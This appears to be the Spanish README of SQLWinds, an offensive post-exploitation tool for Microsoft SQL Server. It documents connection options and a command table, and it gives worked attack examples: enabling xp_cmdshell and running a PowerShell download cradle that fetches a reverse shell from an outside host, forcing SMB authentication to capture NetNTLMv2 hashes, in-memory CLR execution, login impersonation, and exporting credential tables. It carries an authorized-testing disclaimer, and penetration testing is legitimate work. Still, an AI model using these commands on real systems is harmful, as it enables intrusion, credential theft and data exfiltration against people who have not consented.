
SQLWinds - Evaluación de seguridad de SQL Server y kit de post-explotación
Kit de Evaluación de Seguridad y Post-Explotación para SQL
SQLWinds es una herramienta de línea de comandos para pruebas de seguridad y explotación de Microsoft SQL Server. Proporciona un entorno interactivo para analizar servidores en profundidad, escalar privilegios, ejecutar ataques y pivotar a través de redes, todo con comandos especializados para tareas como ejecución de código en memoria y exploración de bases de datos SCCM.
Enlaces rápidos:
--integrated) y delegación Kerberos (--kerberos con --user/--pass).xp_cmdshell, Procedimientos de Automatización OLE (sp_oacreate) e integración CLR.:memclr).:unc_smb).xp_regread.El repositorio incluye un script build.bat para compilar fácilmente en Windows:
.\build.bat
El ejecutable compilado SQLWinds.exe se ubicará en el directorio bin\Release\.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain para scripts grandesEl comando :plain es esencial para ejecutar scripts SQL grandes de varias líneas.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain y pulsa Enter.:execute para ejecutar todo el script o :cancel para cancelar.1. Auditoría
SQLWinds.exe --server dc01 --integrated --security-audit
2. Usar xp_cmdshell para ejecución de código
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. Ejecución CLR en memoria (sin archivos)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. Robo de hashes NetNTLMv2 mediante SRelay
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. Explotación de bases de datos SCCM
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. Exfiltración de datos
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
¡Agradecemos las contribuciones! Si tienes ideas de mejoras o encuentras cualquier problema:
Esta herramienta está destinada únicamente a pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso explícito de prueba es ilegal. Los desarrolladores no asumen ninguna responsabilidad y no son responsables de cualquier uso indebido o daño causado por este programa.
Desarrollado por blue0x1.
| Opción | Descripción |
|---|
--server | Servidor objetivo (IP, nombre de host, instancia). Obligatorio. |
--user, --pass | Credenciales para autenticación SQL o de Windows. |
--integrated | Usa el token de Windows actual para autenticarse. |
--kerberos | Usa el flujo de autenticación Kerberos. |
--spn-check | Comprueba en AD los SPN del host objetivo. |
--run-cmd "<SQL>" | Ejecuta un único comando SQL y sal. |
--run-file file.sql | Ejecuta un script SQL desde un archivo y sal. |
--info | Recopila y muestra información extensa del servidor. |
--getinstance | Descubre instancias de SQL en el dominio y sal. |
--list-dbs | Lista las bases de datos y sal. |
--security-audit | Realiza una auditoría de seguridad y sal. |
| Comando | Descripción | Ejemplo |
|---|
:info | Muestra información detallada del servidor | :info |
:dbs | Lista todas las bases de datos con detalles | :dbs |
:tables [db] [schema] | Lista las tablas en la base de datos/esquema | :tables master dbo |
:columns <table> [schema] [db] | Lista las columnas de una tabla | :columns Users dbo MyDatabase |
:users | Lista todos los inicios de sesión SQL y usuarios de base de datos | :users |
:perms | Muestra los permisos del usuario actual | :perms |
:audit | Realiza una auditoría de configuración de seguridad | :audit |
:search [term] | Busca datos sensibles | :search password |
:secrets | Extrae posibles secretos | :secrets |
:services | Muestra las cuentas de servicio de SQL Server | :services |
:spn | Comprueba los SPN del host objetivo | :spn |
:enable_xp_cmdshell | Habilita xp_cmdshell | :enable_xp_cmdshell |
:disable_xp_cmdshell | Deshabilita xp_cmdshell | :disable_xp_cmdshell |
:xp <command> | Ejecuta un comando del sistema operativo mediante xp_cmdshell | :xp whoami |
:enable_ole | Habilita la Automatización OLE | :enable_ole |
:disable_ole | Deshabilita la Automatización OLE | :disable_ole |
:ole_cmd <command> | Ejecuta un comando del sistema operativo mediante OLE | :ole_cmd "calc.exe" |
:enable_clr | Habilita la integración CLR | :enable_clr |
:disable_clr | Deshabilita la integración CLR | :disable_clr |
:deploy-clr <path> | Implementa el ensamblado CLR desde un archivo | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | Lista los ensamblados CLR implementados | :list-assemblies |
:clr_exec | Ejecuta un método CLR | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | Ejecuta un ensamblado CLR desde la memoria | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | Elimina un ensamblado CLR | :remove-assembly MyAssembly |
:list_linkservers | Lista los servidores vinculados | :list_linkservers |
:linkrpc <srv> <cmd> | Ejecuta un comando mediante un servidor vinculado | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | Suplanta un inicio de sesión SQL | :impersonate sa |
:revert | Revierte el contexto de seguridad | :revert |
:agent_job | Gestiona los trabajos del Agente SQL | :agent_job create MyJob "whoami" |
:ls [path] | Lista el directorio mediante SQL | :ls C:\Windows\Temp |
:unc_smb <path> | Fuerza la autenticación SMB hacia UNC | :unc_smb \\192.168.1.100\share |
:plain | Pega scripts SQL grandes | (Ver ejemplo más abajo) |
:regread | Lee un valor del registro | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | Lista todos los valores de una clave | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | Sube un archivo a una tabla | :upload C:\file.txt MyTable |
:download | Descarga un binario desde una consulta | :download "SELECT file FROM blobs" out.bin |
:exportcsv | Exporta la consulta a CSV | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | Exporta la consulta a JSON | :exportjson "SELECT * FROM users" out.json |
:sccm_info | Detecta la base de datos SCCM | :sccm_info |
:sccm_inventory | Muestra el inventario SCCM | :sccm_inventory |
:sccm_collections | Lista las colecciones SCCM | :sccm_collections "All Systems" |
:sccm_deployments | Muestra las implementaciones | :sccm_deployments |
:sccm_clients | Lista los clientes | :sccm_clients inactive |
:sccm_audit | Auditoría de seguridad SCCM | :sccm_audit |
:sccm_application | Muestra los detalles de la aplicación | :sccm_application "Google Chrome" |
help | Muestra la ayuda | help |
exit | Sale del REPL | exit |